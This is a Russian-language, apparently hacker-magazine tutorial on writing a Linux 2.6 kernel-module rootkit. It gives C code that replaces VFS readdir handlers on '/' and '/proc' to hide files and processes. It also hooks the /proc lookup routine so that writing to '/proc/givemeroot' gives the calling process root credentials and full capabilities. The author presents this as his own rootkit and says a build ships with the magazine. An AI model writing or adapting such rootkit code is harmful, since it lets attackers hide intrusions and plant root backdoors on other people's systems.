Итак, сегодня мы будем писать руткит в виде модуля к ядру. От читателя требуется
по крайней мере знание C, понимание устройства VFS и умение программирования
модулей - не повредят :)
Большинство операций, выполняемых программами (чтение/запись в файл, листинг
директорий и многое другое) происходит через вызов системной функции,
предоставляемой ядром. Таким образом, чтобы заставить ls (и, что есть одно из
преимуществ LKM руткитов над файловыми - все остальные программы тоже) скрывать
наши файлы, а ps - наши процессы, эти самые ядерные функции нужно подменить.
Раньше наиболее распространенным способом осуществить это была замена адреса в
таблице sys_call_table на адрес нашей функции. В ядрах 2.6.* экспорт этой
таблицы был прекращен, что отметает данный способ.
Но есть и другой способ - подмена функций VFS (Virtual FileSystem). VFS -
структура для унификации операций с файлами на разных ФС. Все ФС должны хранить
свои функции в структуре file_operations:
struct file_operations {
struct module *owner;
ssize_t (*read) (struct file *, char __user *, size_t, loff_t
*);
ssize_t (*write) (struct file *, const char __user *, size_t,
int (*readdir) (struct file *, void *, filldir_t);
//some functions are cut
};
При открытии файла ему ставится в соответствие такая структура, что позволяет
программам типа ls работать с файлом, не задумываясь ни о каких файловых
системах:
struct file
{
struct dentry *f_dentry;
struct vfsmount *f_vfsmnt;
struct file_operations *f_op; // это и есть та самая
структура
};
Забегая вперед, скажу, что начиная с ядра по крайней мере 2.6.19.2 (мое :))
перед f_op добавлен модификатор const, так что для ее изменения придется этот
модификатор убрать.
Так вот именно функции в этой структуре нам предстоит подменить. Удачно, что ее
не копируют, а просто передают для каждого файла в пределах одной ФС, т.е. нам
нужно подменить ее только для одного любого файла.
Делается это следующим образом:
typedef int (*readdir_t)(struct file *, void *, filldir_t);
readdir_t old_root_readdir;
int patch_readdir(const char *name, readdir_t *old_readdir, readdir_t
new_readdir)
{
struct file *filep;
if ((filep = filp_open(name, O_RDONLY, 0)) == NULL) return -1;
*old_readdir = filep->f_op->readdir;
filep->f_op->readdir = new_readdir;
filp_close(filep, 0);
return 0;
}
int init_module()
{
patch_readdir("/",old_root_readdir, new_root_readdir);
return 0;
}
Мы открываем файл, сохраняем старую процедуру (ее нужно обязательно восстановить
при выгрузке модуля!), и заменяем filep->f_op->readdir своей. Код для
восстановления очевиден, но при желании его можно глянуть в xnd_wmkr26.
Далее, нам придется написать собственную процедуру readdir():
filldir_t old_root_filldir;
static int new_root_filldir(void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)
{
if (fileIsHidden(name))
return 0;
return old_root_filldir(buf, name, nlen, off, ino, x);
}
int new_root_readdir(struct file *fp, void *buf, filldir_t filldir) {
old_root_filldir = filldir;
return old_root_readdir(fp, buf, new_root_filldir);
}
В принципе, filldir() используется для заполнения директорий, но именно ее мы и
поюзаем для скрытия файла.
Таким образом, мы добились скрытия файлов. А как же процессы? Вспоминаем, что
VFS - универсальна, а значит, для сокрытия процессов нужно будет всего лишь
вызвать
patch_readdir("/proc",old_proc_readdir, new_proc_readdir);
(естественно, с другими старой и новой readdir)
Итак, скрывать все что нужно мы научились. Однако хотелось бы получить
возможность конртолировать руткит на лету. В ранних версиях xnd_wkmr26 я
создавал для этого свой файл в /proc (естественно, скрывая его). Однако есть
более удобный метод - подменить процедуру lookup (получение dentry по inode).
Делается это примерно так же, как и подмена readdir, только доступ к этой
процедуре будет немного закрученней:
struct file *filep = filp_open("/proc", O_RDONLY, 0));
filep->f_dentry->d_inode->i_op->lookup (берем остюда старую, записываем новую).
Процедура lookup() будет вызвана всякий раз при попытке записи в файл. Именно
через нее мы и будем конролировать руткит:
typedef struct dentry *(*lookup_t)(struct inode *, struct dentry *, struct
nameidata *);
lookup_t old_proc_lookup;
struct dentry *new_proc_lookup(struct inode *i, struct dentry *d, struct
nameidata *nd) {
char *name = d->d_iname;
task_lock(current);
if (strncmp(name, "givemeroot", 10) == 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->suid = 0;
current->sgid = 0;
current->fsuid = 0;
current->fsgid = 0;
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
}
//определяем здесь любые действия, приводить их код бессмысленно
task_unlock(current);
return old_proc_lookup(i, d, nd);
}
Таким образом, при выполнении echo > /proc/givemeroot прога получит рута :)
Лень писать в сотый раз стандартные вещи вроде того, как компилировать модули к
ядру и т.д., гляньте [1] или Makefile от xnd_wkmr26, свежий билд
которого прилагается к журналу.
Литература:
[1] Linux kernel module programming guide
http://tldp.org/LDP/lkmpg
[2] Advances in kernel hacking I
phrack vol 0x0b, issue 0x3a, file #0x06
[3] Understanding the linux kernel (chapter about VFS)
http://www.sti.uniurb.it/acquaviva/ulk.pdf
|